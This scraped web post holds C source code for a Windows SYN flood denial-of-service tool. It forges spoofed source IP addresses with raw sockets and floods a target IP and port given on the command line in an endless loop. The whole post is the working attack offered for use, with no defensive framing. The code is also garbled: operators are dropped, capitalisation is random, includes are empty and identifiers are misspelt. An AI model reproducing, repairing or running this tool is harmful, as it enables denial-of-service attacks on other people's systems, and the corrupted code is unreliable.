SYNFLOOD code

xiaoxiao2021-03-06  104

#include

#include

#include

#pragma comment (Lib, "WS2_32")

#pragma comment (Lib, "WSOCK32")

#define fake_ip "201.79.131.18"

#define seq 0x28376839

#define right "=============== CODER PARIS-YE ===================== / n"

Ushort Checksum (USHORT * BUFFER, INT Size);

Int flood ();

Typedef struct TCPHDR

{

USHORT TH_SPORT;

USHORT TH_DPORT;

Unsigned int th_seq;

Unsigned int th_ack;

Unsigned char t_lenres;

Unsigned char th_flag;

Ushort TH_WIN;

Ushort TH_SUM;

Ushort TH_URP;

} TCP_HEADER;

Typedef struct iphdr

{

Unsigned char h_verlen;

UNSIGNED Char TOS;

UNSIGNED SHORT TOTAL_LEN;

UNSIGNED short Ident;

UNSIGNED SHORT FRAG_AND_FLAGS;

UNSIGNED CHAR TTL;

UNSIGNED Char Proto;

UNSIGNED Short Checksum;

Unsigned int sourceip;

Unsigned int desip;

} Ip_header;

Struct

{

UNSIGNED long saddr;

Unsigned long Daddr;

CHAR MBZ;

CHAR PTCL;

UNSIGNED SHORT TCPL;

} PSD_HEADER;

Wsadata wsadata;

Socket Sockmain = (socket) NULL;

INT ErrorCode = 0, Flag = true, timeout = 2000, fakeipnet, fakeiphost, datasize = 0, sendseq = 0;

Unsigned short activity = 40000;

Struct SockAddr_in sockaddr;

TCP_HEADER TCPHEADER;

IP_HEADER IPHEADER;

CHAR Sendbuf [128];

Ushort Checksum (Ushort * Buffer, int size)

{

Unsigned long cksum = 0;

While (size> 1) {

CKSUM = * Buffer ;

Size- = Sizeof (Ushort);

}

IF (size) CKSUM = * (Uchar *) BUFFER;

CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF);

CKSUM = (CKSUM >> 16);

Return (Ushort) (~ CKSUM);

}

INT Main (int Argc, char * argv []) {

INT portnum = 0;

DWORD DW;

Handle hthread = NULL;

CHAR PUTINFO;

IF (argc! = 3)

{

Printf ("% s / n", right);

Printf ("INVALID Command, PLS USE: / N% S / nexample:% s 192.168.100.244 80", Argv [0], Argv [0]);

Return 1;

}

IF ((ERRORCODE = WSAStartup (Makeword (2, 1), & WSADATA)! = 0) {

Printf ("WSAStartup Failed:% D / N", ERRORCODE);

Return 2;

}

Sockmain = WSASOCKET (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);

IF (sockmain == invalid_socket)

{

Printf ("socket failed:% d / n", wsagetlasterror ());

Return 3;

}

ErrorCode = setsockopt (sockmain, ipproto_ip, ip_hdrincl, (char *) & flag, sizeof (int));

IF (ErrorCode == Socket_ERROR)

{

Printf ("SET SOCKOPT FAILED:% D / N", wsagetlasterror ());

Return 4;

}

ErrorCode = setsockopt (Sockmain, SOL_Socket, SO_SNDTIMEO, (CHAR *) & Timeout, SizeOf (Timeout);

IF (ErrorCode == Socket_ERROR)

{

Printf ("SET SOCKOPT TIME OUT FAILED:% D / N", wsagetlasterror ());

Return 5;

}

Portnum = ATOI (Argv [2]);

MEMSET (& SockAddr, 0, Sizeof (SockAddr));

SockAddr.sin_Family = AF_INET;

SockAddr.sin_addr.s_addr = inet_addr (argv [1]);

FAKEIPNET = INET_ADDR (FAKE_IP);

Fakeiphost = NTOHL (FAKEIPNET);

Ipheader.h_verlen = (4 << 4 | sizeof (ip_header) / sizeof (unsigned long);

Ipheader.total_len = htons (sizeof (ip_header) sizeof (tcp_header));

ipHeader.Ident = 1;

Ipheader.frag_and_flags = 0;

Ipheader.ttl = 128;

Ipheader.proto = ipproto_tcp;

Ipheader.checksum = 0;

Ipheader.SourceIP = HTONL (Fakeiphost Sendseq);

Ipheader.destip = inet_addr (argv [1]);

TCPHEADER.TH_DPORT = HTONS (portnum);

TCPHEADER.TH_SPORT = HTONS (portnum); tcpheader.th_seq = HTONL (SEQ SendSeq);

TCPHEADER.TH_ACK = 0;

TCPHEADER.TH_LENRES = (SIZEOF (TCP_HEADER) / 4 << 4 | 0);

TCPHEADER.TH_FLAG = 2;

TCPHEADER.TH_WIN = HTONS (16384);

TCPHEADER.TH_URP = 0;

TCPHEADER.TH_SUM = 0;

PSD_Header.saddr = ipheader.sourceIP;

PSD_Header.daddr = ipheader.destip;

PSD_Header.mbz = 0;

PSD_Header.ptCl = ipproto_tcp;

PSD_Header.tcpl = Htons (Sizeof (TCPHEADER));

Printf ("% s / n", right);

Hthread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) FLOOD, 0, CREATE_SUSPENDED, & DW);

SetthreadPriority (hthread, thread_priority_highest);

ResumeThread (hthread);

Printf ("Warning [Start] ........... / npress any key to stop! / n");

Putinfo = getcha ();

TerminateThread (hthread, 0);

WSACLEANUP ();

Printf ("/ nstopd ........... / n");

Return 0;

}

Int flood ()

{

While (1)

{

IF (SendSeq == 65536) SendSeq = 1;

IF (Activport == 40010) Activport = 1000;

Ipheader.checksum = 0;

Ipheader.SourceIP = HTONL (Fakeiphost Sendseq);

TCPHEADER.TH_SEQ = HTONL (SEQ SendSeq);

TCPHEADER.TH_SPORT = HTONS (Activport);

TCPHEADER.TH_SUM = 0;

PSD_Header.saddr = ipheader.sourceIP;

Memcpy (sendbuf, & psd_header, sizeof (psd_header));

Memcpy (Sendbuf SizeOf (PSD_Header), & Tcpheader, Sizeof (TCPHEADER));

TCPHEADER.TH_SUM = Checksum ((USHORT *) Sendbuf, sizeof (psd_header) sizeof (tcpheader));

Memcpy (Sendbuf, & iPheader, Sizeof (Ipheader);

Memcpy (Sendbuf SizeOf (Ipheter), & TCPHEADER, SIZEOF (TCPHEADER);

MEMSET (Sendbuf SizeOf (Ipheter) Sizeof (TCPHEADER), 0, 4);

DataSize = SizeOf (Ipheader) SizeOf (TCPHEADER);

Ipheter.checksum = Checksum ((Ushort *) Sendbuf, DataSize; Memcpy (Sendbuf, & iPheader, Sizeof (Ipheader));

Errorcode = Sendto (Sockmain, Sendbuf, DataSize, 0, (Struct SockAddr *) & SockAddr, Sizeof (SockAddr);

IF (ErrorCode == Socket_ERROR)

{

Printf ("/ Ncan't Connect this IP! PLS Check It./N");

EXITTHREAD (1);

}

// Sleep (1000);

}

Return 0;

}

转载请注明原文地址:https://www.9cbs.com/read-101170.html

New Post(0)